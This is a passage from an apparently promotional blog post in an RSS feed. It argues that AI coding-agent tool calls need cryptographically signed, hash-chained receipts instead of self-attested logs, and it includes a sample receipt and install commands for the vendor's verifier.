&lt;p&gt;Verification is different. Verification uses cryptography to produce evidence that &lt;strong&gt;cannot be forged by the agent itself&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a signed receipt looks like
&lt;/h2&gt;

&lt;p&gt;Instead of a self-attested log entry, imagine each tool call produces a receipt like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"receipt_version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"action_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"act_8f3a2c1d"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"action_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"caller_identity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"agent:claude-code-v2.1.246"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"input_hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sha256:b94d27b9..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output_hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sha256:a3f5c8e1..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-25T14:32:01.234Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"prev_receipt_hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sha256:7c2e1f9a..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"policy_digest"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sha256:d4a7b2c0..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"signature"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ed25519:f8a3c2..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ed25519 signature (RFC 8032)&lt;/strong&gt; over &lt;strong&gt;RFC 8785 canonical JSON&lt;/strong&gt; — the signing key is held outside the agent process, in a sidecar or hardware module, so a compromised agent cannot forge signatures.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input/output hashes&lt;/strong&gt; bind the receipt to exactly what was executed and what came back — you can't alter the command or the result after the fact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Previous receipt hash&lt;/strong&gt; creates a hash chain — deleting or reordering a receipt breaks the chain and is immediately detectable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Policy digest&lt;/strong&gt; binds the action to the exact policy version that authorized it — when Anthropic ships v2.1.247 with new permission rules, you know which policy each action was evaluated against.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero false positives&lt;/strong&gt; — a receipt either verifies against the known public key and chain, or it doesn't. There's no "anomaly score" or heuristic threshold.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The verifier that checks these receipts is &lt;strong&gt;pure Python, zero dependencies, 157 tests&lt;/strong&gt;, and verifies a receipt end-to-end at &lt;strong&gt;P50 ~27 microseconds&lt;/strong&gt;. It runs on every tool call without meaningful latency.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters after the patch
&lt;/h2&gt;

&lt;p&gt;When you update to Claude Code v2.1.246 and the credential scoping bug is fixed, you still don't have an answer to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;em&gt;Did every tool call between discovering the bug and patching it use credentials correctly?&lt;/em&gt; The agent's log says yes. Who signs that log?&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;After patching, how do you prove to an auditor that no unauthorized action occurred?&lt;/em&gt; You produce self-attested logs from the same runtime that had the bug.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;When the next CVE drops (and it will — there have been 6+ in August alone), how do you establish a non-repudiable record of what happened before, during, and after?&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Signed receipts don't prevent vulnerabilities. They provide something the current architecture fundamentally lacks: &lt;strong&gt;evidence independent of the system being audited&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;The conformance test suite is MIT-licensed and includes 10 test vectors with a ~15-line independent verifier, so you can validate the receipt format without trusting any implementation:&lt;/p&gt;

&lt;p&gt;→ &lt;a href="https://github.com/DSHCorrectover/ccs-conformance-vectors" rel="noopener noreferrer"&gt;github.com/DSHCorrectover/ccs-conformance-vectors&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Python verifier is on PyPI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ccs-verifier
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Node.js runtime:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;correctover
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The policy-enforcing proxy that holds the signing key outside the agent process is a separate commercial offering. The receipt format, the verifier, and the conformance vectors are open and will remain open — because an evidence format you can't independently verify isn't evidence.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Correctover builds runtime verification for agent systems. The open-source CCS verifier produces Ed25519-signed receipts over JCS canonical JSON for every agent tool call, creating tamper-evident audit chains that don't rely on agent self-attestation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>mcp</category>
      <category>cryptography</category>
    </item>
  </channel>
</rss>
